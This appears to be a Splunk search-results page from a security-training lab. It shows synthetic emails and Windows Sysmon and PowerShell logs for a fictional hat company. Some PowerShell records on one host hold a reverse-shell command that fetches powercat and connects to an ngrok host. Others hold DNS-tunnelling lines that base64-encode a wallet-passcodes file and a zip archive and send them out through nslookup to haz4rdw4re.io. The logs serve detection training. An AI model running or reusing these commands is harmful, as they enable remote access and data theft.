New Search

```
1  index=main | top 5 src
```

Last 48 hours

✓ **313 events** (1/9/26 3:00:00.000 PM to 1/11/26 3:40:35.000 PM) No Event Sampling

Events (313)

Format Timeline

1 hour per column

SELECTED FIELDS

a host 1
a source 1
a sourcetype 1

INTERESTING FIELDS

a attachment 3
a content 73
a datasource 3
a direction 3
a event.action 9
event.code 7
a file.path 18
a host.name 13
a index 1
linecount 1
a process.command_line 44
a process.name 24
process.parent.pid 46
process.pid 100+
a process.working_directory 15
a punct 75
a recipient 61
a sender 54
a splunk_server 1
a subject 72
a timestamp 100+

14 more fields

+ Extract New Fields (/en-US/app/search/field_extractor?sid=1768146035.43)

Time Event

1/11/26 3:32:25.633 PM

```
{ [-]
   attachment: forceupdate.ps1
   content: Michelle, here's the updated script. This version should work better - just run it when you get a chance.
   datasource: email
   direction: internal
   recipient: michelle.smith@tryhatme.com
   sender: yani.zubair@tryhatme.com
   subject: Force update fix
   timestamp: 01/11/2026 15:32:25.633
}
```

Show as raw text

host = 10.10.67.0:8989 | source = eventcollector | sourcetype = _json

1/11/26 3:31:53.633 PM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3456
   process.command_line: C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:276824072 WinX:0 WinY:0 IEFrame:0000000000000000
   process.name: rundll32.exe
   process.parent.name: iexplore.exe
   process.parent.pid: 3937
   process.pid: 3829
   process.working_directory: C:\Users\safa.prince\Desktop\
   timestamp: 01/11/2026 15:31:53.633
}
```

Show as raw text

host = 10.10.67.0:8989 | source = eventcollector | sourcetype = _json

Time Event

1/11/26
3:31:51.633 PM

```
{ [-]
   datasource: sysmon
   event.action: Registry object added or deleted (rule: RegistryEvent)
   event.code: 12
   host.name: win-3450
   process.name: spoolsv.exe
   process.pid: 3824
   registry.key: System\CurrentControlSet\Control\Class\{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}\0003\DriverVersion
   registry.path: HKLM\System\CurrentControlSet\Control\Class\{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}\0003\DriverVersion
   registry.value: DriverVersion
   timestamp: 01/11/2026 15:31:51.633
}
```

Show as raw text

host = 10.10.67.0:8989 | source = eventcollector | sourcetype = _json

1/11/26
3:31:51.633 PM

```
{ [-]
   datasource: sysmon
   event.action: Registry value set (rule: RegistryEvent)
   event.code: 13
   host.name: win-3452
   process.pid: 3764
   registry.key: System\CurrentControlSet\Enum\SWD\PRINTENUM\{1E7F5481-8BCC-4426-B671-08BCD04848A0}\FriendlyName
   registry.path: HKLM\System\CurrentControlSet\Enum\SWD\PRINTENUM\{1E7F5481-8BCC-4426-B671-08BCD04848A0}\FriendlyName
   registry.value: FriendlyName
   timestamp: 01/11/2026 15:31:51.633
}
```

Show as raw text

host = 10.10.67.0:8989 | source = eventcollector | sourcetype = _json

1/11/26
3:31:37.633 PM

```
{ [-]
   attachment: None
   content:  Will there be a recording available for those unable to attend live
   datasource: email
   direction: inbound
   recipient: cain.omoore@tryhatme.com
   sender: osman@stylewatchjournal.com
   subject: RE: RE: Seminar Registration: Hat Industry Innovation Trends
   timestamp: 01/11/2026 15:31:37.633
}
```

Show as raw text

host = 10.10.67.0:8989 | source = eventcollector | sourcetype = _json

Time Event

1/11/26 3:31:34.633 PM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3449
   process.command_line: "C:\Program Files\Internet Explorer\iexplore.exe" -startmanager -Embedding
   process.name: iexplore.exe
   process.parent.pid: 3987
   process.pid: 3903
   process.working_directory: C:\Windows\system32\
   timestamp: 01/11/2026 15:31:34.633
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

1/11/26 3:31:11.633 PM

```
{ [-]
   datasource: sysmon
   dns.answers.data: 172.16.1.15
   dns.question.name: mailsrv-01.tryhatme.com
   dns.resolved_ip: 172.16.1.15
   event.action: Dns query (rule: DnsQuery)
   event.code: 22
   host.name: win-3452
   network.protocol: dns
   process.name: OUTLOOK.EXE
   process.pid: 3968
   timestamp: 01/11/2026 15:31:11.633
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

1/11/26 3:31:03.633 PM

```
{ [-]
   attachment: None
   content: This is getting ridiculous—why is this still unresolved?
   datasource: email
   direction: internal
   recipient: sophie.j@tryhatme.com
   sender: sophie.j@tryhatme.com
   subject: RE: RE: Concerns over IHateHats.tech
   timestamp: 01/11/2026 15:31:03.633
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

Time Event

1/11/26
3:30:56.633 PM

```
{ [-]
   attachment: None
   content:  Travel through time and experience the
evolution of hats from ancient Egypt to futuristic
Mars Only 500 per ticket
   datasource: email
   direction: inbound
   recipient: contact@tryhatme.com
   sender: josephine@gmail.com
   subject: Time Traveling Hat Adventure Explore An
cient Lands for Cheap
   timestamp: 01/11/2026 15:30:56.633
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector
sourcetype = _json

1/11/26
3:30:43.633 PM

```
{ [-]
   attachment: None
   content:  Please review and confirm availability
for the proposed meeting time
   datasource: email
   direction: inbound
   recipient: contact@tryhatme.com
   sender: day@stylishhatboutique.com
   subject: FWD: Scheduling a Virtual Meeting to Di
scuss Market Trends
   timestamp: 01/11/2026 15:30:43.633
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector
sourcetype = _json

1/11/26
3:30:43.633 PM

```
{ [-]
   attachment: None
   content:  Thank you for the opportunity I confir
m my availability and look forward to speaking with
your team
   datasource: email
   direction: outbound
   recipient: duke@trendsettingtrilbies.com
   sender: invoice@tryhatme.com
   subject: RE: Job Interview Invitation: Exciting
Career Opportunity
   timestamp: 01/11/2026 15:30:43.633
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector
sourcetype = _json

Time Event

1/11/26
3:30:33.633 PM

```
{ [-]
   attachment: None
   content:  The upcoming seminar will cover the la
test innovations in hat manufacturing and design Se
cure your spot today
   datasource: email
   direction: outbound
   recipient: barker@hatcouturecompany.net
   sender: sophie.j@tryhatme.com
   subject: Seminar Registration: Hat Industry Inno
vation Trends
   timestamp: 01/11/2026 15:30:33.633
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

1/11/26
3:30:29.633 PM

```
{ [-]
   attachment: None
   content:  Here is a summary of our last discussi
on along with action items for the next steps Let u
s know if you have any modifications
   datasource: email
   direction: outbound
   recipient: duke@stylewatchjournal.com
   sender: roger.fedora@tryhatme.com
   subject: Follow-up on Previous Discussion: Next
Steps for Engagement
   timestamp: 01/11/2026 15:30:29.633
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

1/11/26
3:30:21.633 PM

```
{ [-]
   attachment: None
   content:  Your feedback matters—take a few minut
es to fill this out.
   datasource: email
   direction: internal
   recipient: michelle.smith@tryhatme.com
   sender: michelle.smith@tryhatme.com
   subject: Hat-titude Check: Employee Feedback Sur
vey
   timestamp: 01/11/2026 15:30:21.633
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

Time	Event
1/11/26 3:30:04.633 PM	{ [-] datasource: sysmon event.action: Registry value set (rule: Registry Event) event.code: 13 host.name: win-3456 process.pid: 3878 registry.key: System\CurrentControlSet\Enum\SWD\PRINTENUM\{49455221-FA52-47F9-826D-B41CFD35E447}\FriendlyName registry.path: HKLM\System\CurrentControlSet\Enum\SWD\PRINTENUM\{49455221-FA52-47F9-826D-B41CFD35E447}\FriendlyName registry.value: FriendlyName timestamp: 01/11/2026 15:30:04.633 } Show as raw text host = 10.10.67.0:8989 source = eventcollector sourcetype = _json
1/11/26 3:29:52.633 PM	{ [-] datasource: sysmon event.action: Registry value set (rule: Registry Event) event.code: 13 host.name: win-3458 process.name: spoolsv.exe process.pid: 3613 registry.key: System\CurrentControlSet\Control\DeviceClasses\{0ecef634-6ef0-472a-8085-5ad023ecbccd}\##?#SWD#PRINTENUM#{1E7F5481-8BCC-4426-B671-08BCD04848A0}#{0ecef634-6ef0-472a-8085-5ad023ecbccd}\#\Device Parameters\FriendlyName registry.path: HKLM\System\CurrentControlSet\Control\DeviceClasses\{0ecef634-6ef0-472a-8085-5ad023ecbccd}\##?#SWD#PRINTENUM#{1E7F5481-8BCC-4426-B671-08BCD04848A0}#{0ecef634-6ef0-472a-8085-5ad023ecbccd}\#\Device Parameters\FriendlyName registry.value: FriendlyName timestamp: 01/11/2026 15:29:52.633 } Show as raw text host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

Time Event

1/11/26
3:29:50.633 PM

```
{ [-]
   datasource: sysmon
   dns.answers.data: 172.16.1.10
   dns.question.name: DC-01.tryhatme.com
   dns.resolved_ip: 172.16.1.10
   event.action: Dns query (rule: DnsQuery)
   event.code: 22
   host.name: win-3453
   network.protocol: dns
   process.name: OUTLOOK.EXE
   process.pid: 3821
   timestamp: 01/11/2026 15:29:50.633
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

1/11/26
3:29:12.633 PM

```
{ [-]
   datasource: sysmon
   dns.answers.data: 172.16.1.10
   dns.question.name: DC-01.tryhatme.com
   dns.resolved_ip: 172.16.1.10
   event.action: Dns query (rule: DnsQuery)
   event.code: 22
   host.name: win-3455
   network.protocol: dns
   process.name: OUTLOOK.EXE
   process.pid: 3851
   timestamp: 01/11/2026 15:29:12.633
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

1/11/26
3:28:58.633 PM

```
{ [-]
   datasource: sysmon
   event.action: Registry object added or deleted (rule: RegistryEvent)
   event.code: 12
   host.name: win-3453
   process.name: spoolsv.exe
   process.pid: 3888
   registry.key: System\CurrentControlSet\Enum\SWD\PRINTENUM\{2D00BA8B-3E7F-4C85-88E7-D1E9D13350F0}\FriendlyName
   registry.path: HKLM\System\CurrentControlSet\Enum\SWD\PRINTENUM\{2D00BA8B-3E7F-4C85-88E7-D1E9D13350F0}\FriendlyName
   registry.value: FriendlyName
   timestamp: 01/11/2026 15:28:58.633
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

Time Event

1/11/26
3:28:54.633 PM

```
{ [-]
   attachment: None
   content:  Interviews set for next week. Check your calendars for slots.
   datasource: email
   direction: internal
   recipient: safa.prince@tryhatme.com
   sender: safa.prince@tryhatme.com
   subject: Hiring Update - Interview Schedule
   timestamp: 01/11/2026 15:28:54.633
}
```

Show as raw text

host = 10.10.67.0:8989 ⁞ source = eventcollector ⁞ sourcetype = _json

1/11/26
3:28:48.633 PM

```
{ [-]
   datasource: sysmon
   event.action: Registry value set (rule: Registry Event)
   event.code: 13
   host.name: win-3451
   process.name: spoolsv.exe
   process.pid: 3623
   registry.key: System\CurrentControlSet\Control\DeviceClasses\{0ecef634-6ef0-472a-8085-5ad023ecbccd}\##?#SWD#PRINTENUM#{49455221-FA52-47F9-826D-B41CFD35E447}#{0ecef634-6ef0-472a-8085-5ad023ecbccd}\#\Device Parameters\FriendlyName
   registry.path: HKLM\System\CurrentControlSet\Control\DeviceClasses\{0ecef634-6ef0-472a-8085-5ad023ecbccd}\##?#SWD#PRINTENUM#{49455221-FA52-47F9-826D-B41CFD35E447}#{0ecef634-6ef0-472a-8085-5ad023ecbccd}\#\Device Parameters\FriendlyName
   registry.value: FriendlyName
   timestamp: 01/11/2026 15:28:48.633
}
```

Show as raw text

host = 10.10.67.0:8989 ⁞ source = eventcollector ⁞ sourcetype = _json

1/11/26
3:28:44.633 PM

```
{ [-]
   datasource: sysmon
   dns.answers.data: 172.16.1.10
   dns.question.name: DC-01.tryhatme.com
   dns.resolved_ip: 172.16.1.10
   event.action: Dns query (rule: DnsQuery)
   event.code: 22
   host.name: win-3457
   network.protocol: dns
   process.name: OUTLOOK.EXE
   process.pid: 3814
   timestamp: 01/11/2026 15:28:44.633
}
```

Show as raw text

host = 10.10.67.0:8989 ⁞ source = eventcollector ⁞ sourcetype = _json

Time	Event
1/11/26 3:28:31.633 PM	

```
{ [-]
   datasource: powershell
   event.action: Pipeline Execution Details
   file.path: -
   host.name: win-3450
   message: Pipeline execution details for command line: . Context Information:    DetailSequence=1   DetailTotal=1   SequenceNumber=5745     UserId=SSF\michael.ascot  HostName=ConsoleHost    HostVersion=5.1.20348.1366 HostId=bbaf2919-3765-42de-b254-1953f32951cb        HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 2.tcp.ngrok.io -p 19282 -e powershell   EngineVersion=5.1.20348.1366       RunspaceId=b980ae09-17ad-4495-b218-4b1e52190205    PipelineId=1    ScriptName=     CommandLine= Details: CommandInvocation(Out-Default): "Out-Default"
   powershell.command.invocation_details.value: "Out-Default"
   powershell.command.name: -
   powershell.file.script_block_text: -
   process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 2.tcp.ngrok.io -p 19282 -e powershell
   timestamp: 01/11/2026 15:28:31.633
   winlog.process.pid: -
}
```

Show as raw text

host = 10.10.67.0:8989 | source = eventcollector | sourcetype = _json

Time

Event

1/11/26
3:28:31.633 PM

```
{ [-]
   datasource: powershell
   event.action: Pipeline Execution Details
   file.path: -
   host.name: win-3450
   message: Pipeline execution details for command
line:     $FuncVars["Process"] | Stop-Process. Cont
ext Information:        DetailSequence=1        Det
ailTotal=1      SequenceNumber=5741     UserId=SSF
\michael.ascot  HostName=ConsoleHost    HostVersion
=5.1.20348.1366 HostId=bbaf2919-3765-42de-b254-1953
f32951cb        HostApplication=C:\Windows\System32
\WindowsPowerShell\v1.0\powershell.exe -c IEX(New-O
bject System.Net.WebClient).DownloadString('http
s://raw.githubusercontent.com/besimorhino/powercat/
master/powercat.ps1'); powercat -c 2.tcp.ngrok.io -
p 19282 -e powershell   EngineVersion=5.1.20348.136
6       RunspaceId=b980ae09-17ad-4495-b218-4b1e5219
0205    PipelineId=1    ScriptName=     CommandLine
=    $FuncVars["Process"] | Stop-Process Details: C
ommandInvocation(Stop-Process): "Stop-Process"Param
eterBinding(Stop-Process): name="InputObject"; valu
e="System.Diagnostics.Process (powershell)"
   powershell.command.invocation_details.value: "St
op-Process", "System.Diagnostics.Process (powershel
l)"
   powershell.command.name: -
   powershell.file.script_block_text: -
   process.command_line: C:\Windows\System32\Window
sPowerShell\v1.0\powershell.exe -c IEX(New-Object S
ystem.Net.WebClient).DownloadString('https://raw.gi
thubusercontent.com/besimorhino/powercat/master/pow
ercat.ps1'); powercat -c 2.tcp.ngrok.io -p 19282 -e
powershell
   timestamp: 01/11/2026 15:28:31.633
   winlog.process.pid: -
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

Time	Event
1/11/26 3:28:22.633 PM	

```
{ [-]
   datasource: powershell
   event.action: Pipeline Execution Details
   file.path: -
   host.name: win-3450
   message: Pipeline execution details for command line: $base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\BitcoinWalletPasscodes.txt")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"}. Context Information:        DetailSequence=1   DetailTotal=1   SequenceNumber=485      UserId=SSF\michael.ascot   HostName=ConsoleHost    HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193fdb89041        HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass    EngineVersion=5.1.20348.1366       RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280    PipelineId=59   ScriptName=     CommandLine=$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\BitcoinWalletPasscodes.txt")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"} Details: CommandInvocation(Invoke-Expression): "Invoke-Expression"ParameterBinding(Invoke-Expression): name="Command"; value="nslookup RmYjEyNGZiMTY1NjZlfQ==.haz4rdw4re.io"
   powershell.command.invocation_details.value: "Invoke-Expression", "nslookup RmYjEyNGZiMTY1NjZlfQ==.haz4rdw4re.io"
   powershell.command.name: -
   powershell.file.script_block_text: -
   process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass
   timestamp: 01/11/2026 15:28:22.633
   winlog.process.pid: -
}
```

Show as raw text

host = 10.10.67.0:8989 ⁞ source = eventcollector ⁞ sourcetype = _json

Time Event

1/11/26 3:28:22.633 PM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\nslookup.exe" RmYjEyNGZiMTY1NjZlfQ==.haz4rdw4re.io
   process.name: nslookup.exe
   process.parent.name: powershell.exe
   process.parent.pid: 3728
   process.pid: 3648
   process.working_directory: C:\Users\michael.ascot\downloads\
   timestamp: 01/11/2026 15:28:22.633
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

1/11/26 3:28:22.633 PM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\nslookup.exe" VEhNezE0OTczMjFmNGY2ZjA1OWE1Mm.haz4rdw4re.io
   process.name: nslookup.exe
   process.parent.name: powershell.exe
   process.parent.pid: 3728
   process.pid: 3700
   process.working_directory: C:\Users\michael.ascot\downloads\
   timestamp: 01/11/2026 15:28:22.633
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

Time	Event

```
1/11/26         { [-]
3:28:22.633 PM     datasource: powershell
                   event.action: Pipeline Execution Details
                   file.path: -
                   host.name: win-3450
                   message: Pipeline execution details for command
                line: $base64 = [System.Convert]::ToBase64String([S
                ystem.IO.File]::ReadAllBytes("C:\Users\michael.asco
                t\Downloads\BitcoinWalletPasscodes.txt")); $base64
                -split '(.{1,30})' | Where-Object { $_ -ne '' } | F
                orEach-Object {Invoke-Expression "nslookup $_.haz4r
                dw4re.io"}. Context Information:        DetailSeque
                nce=1   DetailTotal=1   SequenceNumber=483      Use
                rId=SSF\michael.ascot   HostName=ConsoleHost    Hos
                tVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-9
                8b9-9193fdb89041        HostApplication=C:\Windows
                \System32\WindowsPowerShell\v1.0\powershell.exe -Ex
                ecutionPolicy Bypass    EngineVersion=5.1.20348.136
                6       RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd
                8280    PipelineId=59   ScriptName=     CommandLine
                =$base64 = [System.Convert]::ToBase64String([Syste
                m.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Do
                wnloads\BitcoinWalletPasscodes.txt")); $base64 -spl
                it '(.{1,30})' | Where-Object { $_ -ne '' } | ForEa
                ch-Object {Invoke-Expression "nslookup $_.haz4rdw4r
                e.io"} Details: CommandInvocation(Invoke-Expressio
                n): "Invoke-Expression"ParameterBinding(Invoke-Expr
                ession): name="Command"; value="nslookup VEhNezE0OT
                czMjFmNGY2ZjA1OWE1Mm.haz4rdw4re.io"
                   powershell.command.invocation_details.value: "In
                voke-Expression", "nslookup VEhNezE0OTczMjFmNGY2ZjA
                1OWE1Mm.haz4rdw4re.io"
                   powershell.command.name: -
                   powershell.file.script_block_text: -
                   process.command_line: C:\Windows\System32\Window
                sPowerShell\v1.0\powershell.exe -ExecutionPolicy By
                pass
                   timestamp: 01/11/2026 15:28:22.633
                   winlog.process.pid: -
                }
```

Show as raw text

host = 10.10.67.0:8989 | source = eventcollector | sourcetype = _json

Time

1/11/26
3:28:22.633 PM

Event

```
{ [-]
   datasource: powershell
   event.action: Pipeline Execution Details
   file.path: -
   host.name: win-3450
   message: Pipeline execution details for command line: $base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\BitcoinWalletPasscodes.txt")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"}. Context Information:        DetailSequence=1   DetailTotal=1   SequenceNumber=487      UserId=SSF\michael.ascot   HostName=ConsoleHost    HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193fdb89041        HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass    EngineVersion=5.1.20348.1366       RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280    PipelineId=59   ScriptName=     CommandLine=$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\BitcoinWalletPasscodes.txt")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"} Details: CommandInvocation(Where-Object): "Where-Object"ParameterBinding(Where-Object): name="FilterScript"; value=" $_ -ne '' "CommandInvocation(ForEach-Object): "ForEach-Object"ParameterBinding(ForEach-Object): name="Process"; value="Invoke-Expression "nslookup $_.haz4rdw4re.io""ParameterBinding(Where-Object): name="InputObject"; value=""ParameterBinding(Where-Object): name="InputObject"; value="VEhNezE0OTczMjFmNGY2ZjA1OWE1Mm"ParameterBinding(ForEach-Object): name="InputObject"; value="VEhNezE0OTczMjFmNGY2ZjA1OWE1Mm"ParameterBinding(Where-Object): name="InputObject"; value=""ParameterBinding(Where-Object): name="InputObject"; value="RmYjEyNGZiMTY1NjZlfQ=="ParameterBinding(ForEach-Object): name="InputObject"; value="RmYjEyNGZiMTY1NjZlfQ=="ParameterBinding(Where-Object): name="InputObject"; value=""
   powershell.command.invocation_details.value: "Where-Object", " $_ -ne '' ", "ForEach-Object", "Invoke-Expression "nslookup $_.haz4rdw4re.io"", "", "VEhNezE0OTczMjFmNGY2ZjA1OWE1Mm", "VEhNezE0OTczMjFmNGY2ZjA1OWE1Mm", "", "RmYjEyNGZiMTY1NjZlfQ==", "RmYjEyNGZiMTY1NjZlfQ==", ""
   powershell.command.name: -
   powershell.file.script_block_text: -
   process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass
   timestamp: 01/11/2026 15:28:22.633
   winlog.process.pid: -
}
```

Time Event

Show as raw text

host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

1/11/26 3:28:14.633 PM

```
{ [-]
   attachment: None
   content:  I have checked my schedule and I will be attending Looking forward to meeting everyone and exchanging ideas
   datasource: email
   direction: outbound
   recipient: conor@yahoo.com
   sender: michael.ascot@tryhatme.com
   subject: RE: Invitation to a Business Networking Luncheon Next Week
   timestamp: 01/11/2026 15:28:14.633
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

Time Event

1/11/26
3:28:07.633 PM

```
{ [-]
   datasource: powershell
   event.action: Pipeline Execution Details
   file.path: -
   host.name: win-3450
   message: Pipeline execution details for command
line: $base64 = [System.Convert]::ToBase64String([S
ystem.IO.File]::ReadAllBytes("C:\Users\michael.asco
t\Downloads\exfiltration\exfilt8me.zip")); $base64
-split '(.{1,30})' | Where-Object { $_ -ne '' } | F
orEach-Object {Invoke-Expression "nslookup $_.haz4r
dw4re.io"}. Context Information:        DetailSeque
nce=1   DetailTotal=1   SequenceNumber=461      Use
rId=SSF\michael.ascot   HostName=ConsoleHost    Hos
tVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-9
8b9-9193fdb89041        HostApplication=C:\Windows
\System32\WindowsPowerShell\v1.0\powershell.exe -Ex
ecutionPolicy Bypass    EngineVersion=5.1.20348.136
6       RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd
8280    PipelineId=53   ScriptName=     CommandLine
=$base64 = [System.Convert]::ToBase64String([Syste
m.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Do
wnloads\exfiltration\exfilt8me.zip")); $base64 -spl
it '(.{1,30})' | Where-Object { $_ -ne '' } | ForEa
ch-Object {Invoke-Expression "nslookup $_.haz4rdw4r
e.io"} Details: CommandInvocation(Invoke-Expressio
n): "Invoke-Expression"ParameterBinding(Invoke-Expr
ession): name="Command"; value="nslookup AAAABbAAAA
SW52ZXN0b3JQcmVzZW50.haz4rdw4re.io"
   powershell.command.invocation_details.value: "In
voke-Expression", "nslookup AAAABbAAAASW52ZXN0b3JQc
mVzZW50.haz4rdw4re.io"
   powershell.command.name: -
   powershell.file.script_block_text: -
   process.command_line: C:\Windows\System32\Window
sPowerShell\v1.0\powershell.exe -ExecutionPolicy By
pass
   timestamp: 01/11/2026 15:28:07.633
   winlog.process.pid: -
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

Time

1/11/26
3:28:07.633 PM

Event

```
{ [-]
   datasource: powershell
   event.action: Pipeline Execution Details
   file.path: -
   host.name: win-3450
   message: Pipeline execution details for command line: $base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"}. Context Information:        DetailSequence=1   DetailTotal=1   SequenceNumber=455      UserId=SSF\michael.ascot   HostName=ConsoleHost    HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193fdb89041        HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass    EngineVersion=5.1.20348.1366       RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280    PipelineId=53   ScriptName=     CommandLine=$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"} Details: CommandInvocation(Invoke-Expression): "Invoke-Expression"ParameterBinding(Invoke-Expression): name="Command"; value="nslookup AABDbGllbnRQb3J0Zm9saW9TdW1tYX.haz4rdw4re.io"
   powershell.command.invocation_details.value: "Invoke-Expression", "nslookup AABDbGllbnRQb3J0Zm9saW9TdW1tYX.haz4rdw4re.io"
   powershell.command.name: -
   powershell.file.script_block_text: -
   process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass
   timestamp: 01/11/2026 15:28:07.633
   winlog.process.pid: -
}
```

Show as raw text

host = 10.10.67.0:8989 | source = eventcollector | sourcetype = _json

Time Event

1/11/26
3:28:07.633 PM

```
{ [-]
   datasource: powershell
   event.action: Pipeline Execution Details
   file.path: -
   host.name: win-3450
   message: Pipeline execution details for command
line: $base64 = [System.Convert]::ToBase64String([S
ystem.IO.File]::ReadAllBytes("C:\Users\michael.asco
t\Downloads\exfiltration\exfilt8me.zip")); $base64
-split '(.{1,30})' | Where-Object { $_ -ne '' } | F
orEach-Object {Invoke-Expression "nslookup $_.haz4r
dw4re.io"}. Context Information:        DetailSeque
nce=1   DetailTotal=1   SequenceNumber=453      Use
rId=SSF\michael.ascot   HostName=ConsoleHost    Hos
tVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-9
8b9-9193fdb89041        HostApplication=C:\Windows
\System32\WindowsPowerShell\v1.0\powershell.exe -Ex
ecutionPolicy Bypass    EngineVersion=5.1.20348.136
6       RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd
8280    PipelineId=53   ScriptName=     CommandLine
=$base64 = [System.Convert]::ToBase64String([Syste
m.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Do
wnloads\exfiltration\exfilt8me.zip")); $base64 -spl
it '(.{1,30})' | Where-Object { $_ -ne '' } | ForEa
ch-Object {Invoke-Expression "nslookup $_.haz4rdw4r
e.io"} Details: CommandInvocation(Invoke-Expressio
n): "Invoke-Expression"ParameterBinding(Invoke-Expr
ession): name="Command"; value="nslookup AAAI8AAAAb
AAAAAAAAAAAAAAAAAAAA.haz4rdw4re.io"
   powershell.command.invocation_details.value: "In
voke-Expression", "nslookup AAAI8AAAAbAAAAAAAAAAAAA
AAAAAAA.haz4rdw4re.io"
   powershell.command.name: -
   powershell.file.script_block_text: -
   process.command_line: C:\Windows\System32\Window
sPowerShell\v1.0\powershell.exe -ExecutionPolicy By
pass
   timestamp: 01/11/2026 15:28:07.633
   winlog.process.pid: -
}
```

Show as raw text

host = 10.10.67.0:8989 | source = eventcollector | sourcetype = _json

Time Event

1/11/26
3:28:07.633 PM

```
{ [-]
   datasource: powershell
   event.action: Pipeline Execution Details
   file.path: -
   host.name: win-3450
   message: Pipeline execution details for command
line: $base64 = [System.Convert]::ToBase64String([S
ystem.IO.File]::ReadAllBytes("C:\Users\michael.asco
t\Downloads\exfiltration\exfilt8me.zip")); $base64
-split '(.{1,30})' | Where-Object { $_ -ne '' } | F
orEach-Object {Invoke-Expression "nslookup $_.haz4r
dw4re.io"}. Context Information:        DetailSeque
nce=1   DetailTotal=1   SequenceNumber=465      Use
rId=SSF\michael.ascot   HostName=ConsoleHost    Hos
tVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-9
8b9-9193fdb89041        HostApplication=C:\Windows
\System32\WindowsPowerShell\v1.0\powershell.exe -Ex
ecutionPolicy Bypass    EngineVersion=5.1.20348.136
